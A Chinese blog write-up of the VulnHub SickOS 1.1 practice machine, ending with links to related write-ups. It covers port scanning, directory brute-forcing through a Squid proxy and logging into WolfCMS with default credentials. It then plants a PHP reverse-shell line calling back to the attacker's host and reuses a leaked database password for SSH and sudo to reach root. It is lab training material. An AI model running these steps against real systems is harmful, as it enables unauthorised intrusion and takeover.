SickOS 1.1 靶机（方法二）--- 靶机训练

已于 2025-01-07 10:06:43 修改
阅读量1.3k 收藏 11
点赞数 25
分类专栏： 靶场环境练习 文章标签： 网络安全 渗透测试 靶机训练
于 2025-01-04 13:48:18 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/NPSM_/article/details/144928890
版权

声明
B 站UP主泷羽sec

笔记的只是方便各位师傅学习知识，以下网站只涉及学习内容，其他的都与本人无关，切莫逾越法律红线，否则后果自负。

✍🏻作者简介：致力于网络安全领域，目前作为一名学习者，很荣幸成为一名分享者，最终目标是成为一名开拓者，很有趣也十分有意义
🤵‍♂️ 个人主页： @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

  • 关注公众号：泷羽Sec-Blanks

X

带你去体验最真实的渗透环境，文章里不会直接摆答案，会全面的带你去进行信息收集以及漏洞利用，会领着你一步一步踩下我踩过的坑，实战往往比这更绝望，练技术须实践。

目录

一、主机发现+信息收集

nmap -sn 192.168.25.0/24

export ip=192.168.25.134

nmap --min-rate 10000 -p- $ip

PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)

nmap -sT -sV -O -p22,3128,8080 $ip

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.10 - 4.11 (92%), Linux 3.13 (91%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Android 5.0 - 6.0.1 (Linux 3.4) (91%), Linux 3.10 (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap -sU --top-port 20 192.168.25.134

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

二、服务信息探查+目录探测（代理服务器的使用）

http://192.168.25.134:3128/

在这里插入图片描述

  1. 代理服务器怎么用
  2. http://192.168.25.134:3128/目录爆破

目录爆破啥都没有，那就去看代理服务器怎么使用

-p 参数 走http://192.168.25.134:3128/的代理去访问http://192.168.25.134

dirb http://192.168.25.134 -p http://192.168.25.134:3128/

---- Scanning URL: http://192.168.25.134/ ----
+ http://192.168.25.134/cgi-bin/ (CODE:403|SIZE:290)                                                   
+ http://192.168.25.134/connect (CODE:200|SIZE:362)                                                    
+ http://192.168.25.134/index (CODE:200|SIZE:21)                                                       
+ http://192.168.25.134/index.php (CODE:200|SIZE:21)                                                   
+ http://192.168.25.134/robots (CODE:200|SIZE:45)                                                      
+ http://192.168.25.134/robots.txt (CODE:200|SIZE:45)                                                  
+ http://192.168.25.134/server-status (CODE:403|SIZE:295)

这些暴露出来的漏洞我们都可以再用漏扫工具去进行扫描

nikto 、 nmap

也可以通过代理服务器去访问80web端

在这里插入图片描述

三、Web服务页面访问

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

找/wolfcms，已经发现了目标使用的CMS

四、针对指定CMS进行渗透

在这里插入图片描述

当我们遇到一个CMS，我们首先想的就是管理路径能不能登录进去

也可以针对这个CMS，再进行目录爆破操作

dirb http://192.168.25.134/wolfcms -p http://192.168.25.134:3128/

---- Scanning URL: http://192.168.25.134/wolfcms/ ----
+ http://192.168.25.134/wolfcms/composer (CODE:200|SIZE:403)                                           
+ http://192.168.25.134/wolfcms/config (CODE:200|SIZE:0)                                               
==> DIRECTORY: http://192.168.25.134/wolfcms/docs/                                                     
+ http://192.168.25.134/wolfcms/favicon.ico (CODE:200|SIZE:894)                                        
+ http://192.168.25.134/wolfcms/index (CODE:200|SIZE:3975)                                             
+ http://192.168.25.134/wolfcms/index.php (CODE:200|SIZE:3975)                                         
==> DIRECTORY: http://192.168.25.134/wolfcms/public/                                                   
+ http://192.168.25.134/wolfcms/robots (CODE:200|SIZE:0)                                               
+ http://192.168.25.134/wolfcms/robots.txt (CODE:200|SIZE:0)

找到文件泄露

http://192.168.25.134/wolfcms/public/

在这里插入图片描述

http://192.168.25.134/wolfcms/docs/

在这里插入图片描述

在这里插入图片描述

但是他的管理登录路径我们还没有发现，所以我们可以去网上搜索一下

五、初始权限（反弹Shell）

wolfcms admin path / wolfcms 管理员路径

http://192.168.25.134/wolfcms/?/admin/login

然后账号密码的话我们可以进行暴力破解或者搜索他的默认密码

这里随便输入 admin/admin 就进去了

当然我们可以去搜索引擎去搜默认密码,找不到就用弱密码字典去跑一下

在这里插入图片描述

可以发现页面中很多PHP代码

我们这里可以用PHP一句话代码到蚁剑、冰蝎里

也可以用php远程执行命令反弹bash的shell

这里我们用第二种

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.25.132/4444 0>&1'"); ?>

我们不知道哪个端口做了限制，因为这是黑盒，一般情况443比1234开的情况可能性更大，一个不行换另一个端口。

在这里插入图片描述

之后我们在Kali中建立监听

nc -nvlp 4444

然后我们再执行页面

点击页面的Archives就行了

在这里插入图片描述

六、本地提权

在这里插入图片描述

whoami

id

uname -a

ifconfig

lsb_release

ls -liah

cat config.php

define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

出现密码，但这个是数据库的密码账户

但有没有可能也是ssh的密码

在这里插入图片描述

cat /etc/passwd

在这里插入图片描述

发现sickos用户

我们尝试ssh登录

ssh sickos@192.168.25.134

密码 john@123

成功登录

在这里插入图片描述

id

sudo -l

在这里插入图片描述

这里是三个ALL说明已经是Root用户了

Vulnhub靶机系列：SickOs: 1.1
汗的博客
04-19 1261
这次的靶机是Vulnhub靶机： 靶机地址及相关描述 靶机设置 利用知识及工具 信息收集并getshell 提权 总结
VulnHub-SickOs1.1
江左盟的博客
07-07 1万+
信息收集 使用 漏洞发现 漏洞利用
「红队笔记」靶机精讲：SickOS1.1 - 穿越Squid代理的CMS渗透
m0_73612768的博客
11-29 1518
本文是作者在观看B站《红队笔记》后做的一些笔记以及相关知识的补充。靶机精讲之SickOS1.1，vulnhub靶机，需要配置代理，穿越Squid实现对CMS渗透，完整的攻击链，对基本功要求比较高，不难，但也需要全局观和细节操作。能顺利完成本机渗透，也证明你在不断进步。此为方法一，本机还有全然不同的第二种打法。
渗透测试靶机----Sickos1.1
久恙502的博客
01-19 870
渗透测试，打靶经历记录，大佬多多指点，谢谢！！
NMAP 六种端口状态解读
热门推荐
zyqash的博客
02-17 2万+
NMAP 的工作原理 当用 nmap 进行端口测试的时候，不管是检测目标端口是 UDP 还是 TCP ，nmap 都会发送两个一模一样的请求，当 nmap 要重置连接的时候，也会发送两个一模一样的重置连接请求。 NMAP六种端口状态解读 nmap 探测端口返回的值有六种状态，下面正对 TCP 端口和 UDP 端口的探测分别进行说明。 TCP 端口下的六种状态 Open开放状态： nmap 发起两个 SYN 的请求，服务器上监听在此端口的进程会进行应答，会返回 SYN ACK， nmap 收到服.
snmp 161端口不通 zabbix snmp获取数据异常
fantasywith的博客
11-06 1242
2. 增加debug_level日志级别以查看更多server日志。
红队打靶：SickOS1.1详细打靶思路之shellshock漏洞利用（vulnhub）
Bossfrank的博客
06-08 1123
本文详述了vulnhub靶机sickOS1.1的打靶过程。本文利用了bash漏洞shellshock获取初始立足点，并使用定时任务进行提权。不同于单纯的writeup，本文更注重打靶每一步的思路用意。本文涉及的知识点包括nikto扫描、shellshock漏洞利用、msfvenom生成payload、定时任务提权等。采用squid代理分析+web渗透cms后台获取root权限的思路详见我的上一篇博客。
红队打靶：SickOS1.1详细打靶思路（vulnhub）
Bossfrank的博客
06-07 2547
本文是vulnhub靶机sickos详细打靶过程，使用kali进行渗透。不同于单纯的writeup，本文详细提供了渗透的思路和每一步的用意。本文使用了squid代理分析+wolfcms渗透的思路获取shell。下一篇文章将详述利用shellshock漏洞进行渗透的思路。
kali渗透综合靶机(十二)--SickOs1.2靶机
W小哥
03-30 1768
一、靶机下载 下载链接：https://download.vulnhub.com/sickos/sick0s1.2.zip 二、SickOs1.2靶机搭建 将下载好的靶机环境，用VMware导入即可使用，文件->打开 导入到合适位置即可，默认是C盘，成功导入虚拟机之后，打开即可 三、攻击过程 kali IP：192.168.212.6 靶机IP：192.168.212.9 1、主机发...
靶机渗透SickOs1.2（非常详细，适合新手渗透）
君莫hacker的博客
09-08 7510
靶机HACKME:2的目录0x01靶机描述 0x01靶机描述 靶机基本信息： 链接 https://www.vulnhub.com/entry/sickos-12,144/ 作者 D4rk 发布日期 2016年4月27日 难度 中等 靶机基本介绍： 这是SickOs后续系列中的第二个，独立于以前的版本，挑战的范围是在系统上获得最高权限。 ...
vulnhub靶机Five86-1渗透笔记
liver100day的博客
09-07 1483
文章目录1.环境搭建2.主机发现3.漏洞利用4.提权5.总结 1.环境搭建 靶机环境搭建 攻击渗透机： kali IP地址：192.168.33.139 靶机：sick0s1.1 IP地址未知 靶机下载地址：https://www.vulnhub.com/entry/sickos-11,132/ 2.主机发现 3.漏洞利用 4.提权 5.总结 ...
Vulnhub系列-sick0s1.1
Yasso的博客
01-01 3565
靶机：192.168.12.130 kali: 192.168.249.128 一、信息收集 nmap -sV 192.168.12.130 –扫描开放端口 3128端口是作为代理 dirsearch -u http://192.168.12.130 --proxy=192.168.12.130:3128 –扫下web目录 扫到robots.txt Wolf CMS 后台管理:?/admin 一试就出来了–弱口令:admin/admin Wolfcms 0.8.2中存在任意文件上传漏洞 weevely是适用
SickOs1.1--靶机实操详解
qq_61802750的博客
08-05 505
所以我们要去找到它的管理员路径。这个系统没有做多少的自定义的功能，还是老旧的系统，我们可以通过：1.猜测；这样的话我们有理由去推测：整个系统就是administertor,所以我们能不能找到它的凭据，从而利用它的身份。这样我们就得到了一个root用户，但我们无法得出是22端口的ssh用户还是3128端口的用户。打开浏览器，对3128端口和8080端口进行访问，虽然说8080端口是关闭的，但我们还是要进行尝试。好了，我们看到了wolfcms的这么一个内容管理系统，那么在这个系统中，artcles中，有。
靶机实操—SickOS—学习笔记
qq_46965422的博客
03-18 435
该CTF给出了一个明确的类比，即如何在网络上执行黑客策略，以在安全环境中对其进行破坏。目标是破坏网络/计算机并获得对其的管理/根权限。
SickOs1.1靶机
2301_80203701的博客
12-11 364
但是又没开放3306端口利用不了，万一别的用户也可以用这个密码登录呢，那就看看所有的用户。打开了，随便点点看。刚开始无意的输入一个弱口令就进去，账号：admin 密码：admin。也没扫出来什么有用的端口，但是该进行的扫描是必须要进行的，万一哪次就是突破口呢。可以看到开放了 22，3128，8080端口。爆出来个Dos，一般的渗透测试中不用这种损人的漏洞。这个可以执行，php代码，那就开始反弹shell吧，有个wolfcms，记着，接着访问login页面。有点乱，看看有什么可以执行的命令打开这个文件。
VulnHub-SickOs1.1靶机笔记
最新发布
LINGX5的博客
09-28 1233
通过nmap扫描发现了squid代理服务，设置代理做目录爆破发现了wolfcms，利用google搜索找到了它的后台管理页面，通过弱口令成功登陆进入后台管理页面利用后台的上传文件功能，上传php脚本成功获得了立足点，在该网站翻找配置信息，找了几组凭证，尝试口令服用，获得了sickos用户的权限，进而提权到了root。
Holynix
weixin_44770698的博客
12-08 529
靶场练习
渗透测试靶机----sickos1，2024京东网络安全面试真题
m0_54903333的博客
04-11 790
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！
Vulnhub靶机：SICKOS_ 1.1
LainWith的博客
12-09 783
SickOs（此系列共2台）发布日期：2015年12月11日难度：初-中运行环境：VMware Workstation目标：取得 root 权限 + Flag主机发现端口扫描+漏洞扫描代理扫描搜寻网站后台后台写入shell计划任务提权破壳漏洞拿shell。
vulnhub靶机系列：
09-09
你好！关于Vulnhub靶机系列，我可以提供一些信息。Vulnhub是一个开放的漏洞测试平台，提供了一系列用于学习和实践渗透测试的虚拟机。这些虚拟机包含了各种不同的漏洞，供安全爱好者和专业人员练习渗透测试技巧。 Vulnhub上有许多靶机系列，每个系列都包含了多个不同难度级别的虚拟机。通过解决这些靶机，你可以学习到渗透测试中常见的攻击技术和漏洞利用方法。 一些著名的Vulnhub靶机系列包括： 1. Kioptrix：这是一个非常受欢迎的系列，包含了多个不同难度级别的靶机。从初级到高级的挑战，覆盖了各种网络安全知识。 2. Metasploitable：这个系列模拟了一个容易受到攻击的系统，用于学习Metasploit框架和漏洞利用。 3. SickOS：这个系列提供了一些有趣的靶机，涵盖了各种不同类型的漏洞。 4. HackTheBox：虽然HackTheBox不是Vulnhub上的系列，但它也是一个非常受欢迎的漏洞测试平台，提供了一系列具有挑战性的靶机。 这些靶机系列都可以帮助你锻炼渗透测试技能，并提供了一个实践环境来深入了解网络安全和漏洞利用的原理。希望这些信息能帮到你！如果你还有其他问题，请随时提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值